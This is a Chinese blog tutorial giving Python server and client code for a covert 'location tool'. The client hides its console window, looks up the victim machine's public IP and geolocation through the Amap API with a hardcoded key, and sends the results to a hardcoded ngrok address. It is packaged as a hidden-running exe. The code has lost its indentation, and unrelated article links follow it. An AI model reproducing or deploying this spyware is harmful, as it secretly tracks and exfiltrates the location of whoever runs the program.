前言:

刚刚学习socket,打算后期得学习

怎么写exploit。

原理:

其实很简单,客户端写个爬虫。然后将获取到的IP放入高德地图

在通过socket发送。利用ngrok达到能外网搞事。

准备:

requests

高德地图API

ngrok !:官网下,其他的有可能不稳定

服务端代码:

import socket
def jieshou():
benji=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
connetct=benji.connect(('8.8.8.8',80))
ip=benji.getsockname()[0]
print(ip) phone=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
phone.bind(('0.0.0.0',4444)) #0.0.0.0表示的是一个集合,端口是你用ngrok进行内网穿透的端口
phone.listen(5)
print('[+]正在接受信息....')
while True:
conng,addr=phone.accept()
print(conng)
client=conng.recv(102400).decode()
print(client)
jieshou()

 客户端代码:timport requestsimport socketfrom bs4 import BeautifulSoup

import re
import win32api, win32gui
ct = win32api.GetConsoleTitle() ---->
hd = win32gui.FindWindow(0,ct) --->
win32gui.ShowWindow(hd,0) ---> 这三行代码用于后期打包成exe隐藏运行的框框
def yij():
global jiu,cw
url="http://2017.ip138.com/ic.asp"
headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0'}
rs=requests.get(url,headers=headers)
rst=rs.content.decode('gbk')
lok=BeautifulSoup(rst,'html.parser')
for by in lok.find_all('center'):
lg=by.get_text()
lwdk=re.findall('(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)',rst)
lt=lwdk[0]
pos=".".join(lt)
print(pos) urldw="http://restapi.amap.com/v3/ip?key=14a0916fcc2c8413e93db92ce81c60c6&ip={}".format(pos)
l=requests.get(urldw,headers=headers)
js=l.json() cw= "IP:{}".format(pos),"省",js['province'],"市",js['city'],"经度,纬度",js['rectangle']
yij() def fason():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('52.15.194.28',15043)) #ip填ping ngrok得到的IP,端口填ngrok的端口
s.send(('{}'.format(cw).encode('utf-8')))
s.close()
fason()

  ngrok图

用pyinstaller打包成exe

效果测试图:

运行pz.exe

服务端接受到的:

python socket打造一个定位工具的更多相关文章

  1. Python Flask打造一个视频网站实战视频教程

    下载链接:https://www.yinxiangit.com/607.html 目录: 本套课程从零基础讲解flask开发网站.涉及到的知识点包括:Python和pycharm的安装.urls和视图 ...

  2. 用 Python 图像识别打造一个小狗分类器

    ​ 项目介绍 小狗分类器可以做什么? 通过这个分类器,你只需要上传照片,就可以得到小狗的品种,以及更多的信息. 这就是所谓的「机器学习」,让机器自己去“学习”.我们今天要做的这个分类任务,是一个“监督 ...

  3. 如何用20行Python代码打造一个微信群聊助手?

    今天要教大家一个黑科技,20行代码实现自己定制的微信群聊助手,可以用来活跃群气氛,好多群主创建完群后,拉完一群人,之后就一片寂静,有个群聊助手,就可以帮忙活跃群里气氛,通过今天在自己的微信上有一大批好 ...

  4. Python分布式爬虫打造搜索引擎完整版-基于Scrapy、Redis、elasticsearch和django打造一个完整的搜索引擎网站

    Python分布式爬虫打造搜索引擎 基于Scrapy.Redis.elasticsearch和django打造一个完整的搜索引擎网站 https://github.com/mtianyan/Artic ...

  5. python socket编程---从使用Python开发一个Socket示例说到开发者的思维和习惯问题

    今天主要说的是一个开发者的思维和习惯问题. 思维包括编程的思维和解决一个具体问题的分析思维,分析思路,分析方法,甚至是分析工具. 无论是好习惯还是不好的习惯,都是在者一天一天的思维中形成的.那些不好的 ...

  6. phantomjs + python 打造一个微信机器人

    phantomjs + python 打造一个微信机器人 1.前奏   媳妇公司不能上网,但经常需要在公众号上找一些文章做一些参考,需要的时候就把文章链接分享给我,然后我在浏览器打开网页,一点点复制过 ...

  7. 在sublimetext上打造一个兼容virtualenv的web&python开发环境

    利用Sublimetext3&virtualenv 打造一个Web&Python IDE 注: 环境:window|python3;以下使用的sublimetext插件均用packag ...

  8. 初识TPOT:一个基于Python的自动化机器学习开发工具

    1. TPOT介绍 一般来讲,创建一个机器学习模型需要经历以下几步: 数据预处理 特征工程 模型选择 超参数调整 模型保存 本文介绍一个基于遗传算法的快速模型选择及调参的方法,TPOT:一种基于Pyt ...

  9. 我用 Python 撸了一个 plist 图集拆图工具!附上github源码

    这些年,我一直在使用 JavaScript .CocosCreator 做开发,只要是他们不能解决的,我都不太愿意去弄,或者说是不太情愿去做.真的是手中有把锤子,看什么都是钉子,越是熟悉一样东西,越容 ...

随机推荐

  1. PHP中查看PHP基本信息

    1.PHP_BINARY:查看PHP执行exe文件路径 <?php echo PHP_BINARY; ?> E:\PHP\php-7.1.3-Win32-VC14-x64\php.exe ...

  2. 4. 什么是应用服务器? - JavaEE基础系列

    本文是JavaEE基础系列的第四节. Java EE简介 - JavaEE基础系列 JSR简介 - JavaEE基础系列 什么是JSR参考实现? - JavaEE基础系列 上一节介绍了什么是JSR参考 ...

  3. Jmter操作数据库

    1.导入jdbc的jar包,因为jmeter本身不能直接连接mysql,所以需要导入第三方的jar包,来连接mysql,如下操作: 2.创建数据库连接如下: 3.配置mysql的url.端口号.账号. ...

  4. java入门学习(4)— 类,对象理解,如何创建类,对象

    1.什么是类?具有一定相同的属性的对象的集合就叫类.2.对象:类的具体实例,就是类的实例化.比如学生是一个类(student),那学生里面的小红就是一个对象,一个有学生的属性的对象.3.如何定义一个类 ...

  5. 基于sklearn进行文本向量化

    sklearn中,计数向量化用CountVectorizer,tfidf向量化用TfidfVectorizer: import pickle from sklearn.feature_extracti ...

  6. Linux基础二(修改ip地址、修改网关、修改DNS服务器、重新启动网络配置)

    网络的初始化 .ip地址的修改(临时生效) 使用ifconfig命令 ifconfig 网卡名 ip地址 netmask 子网掩码 [root@localhost /]# ifconfig eth1 ...

  7. hexo部署Github博客

    例子:https://aquarius1993.github.io/blog/ 仓库:https://github.com/Aquarius1993/blog (前提是已经安装Xcode和git) 1 ...

  8. iOS runloop 自定义输入源

    创建自定义输入源需要定义以下内容 1)输入源要处理的信息 2)使感兴趣的客户端知道如何和输入源交互的调度例程 3)处理其他任何客户发送请求的例程 4)使输入源失效的取消例程 上图的处理流程:主线程(M ...

  9. RabbitMQ Study

    python pika install: pip install pika Chinese rabbitmq doc: http://rabbitmq.mr-ping.com/PIKA lib doc ...

  10. Luogu 3806 点分治1

    Luogu 3806 点分治 要分清楚各个函数的作用及互相调用的关系. 因为是无根树,找重心的时候,父亲一边的所有节点也可以看做是一颗子树. #include<bits/stdc++.h> ...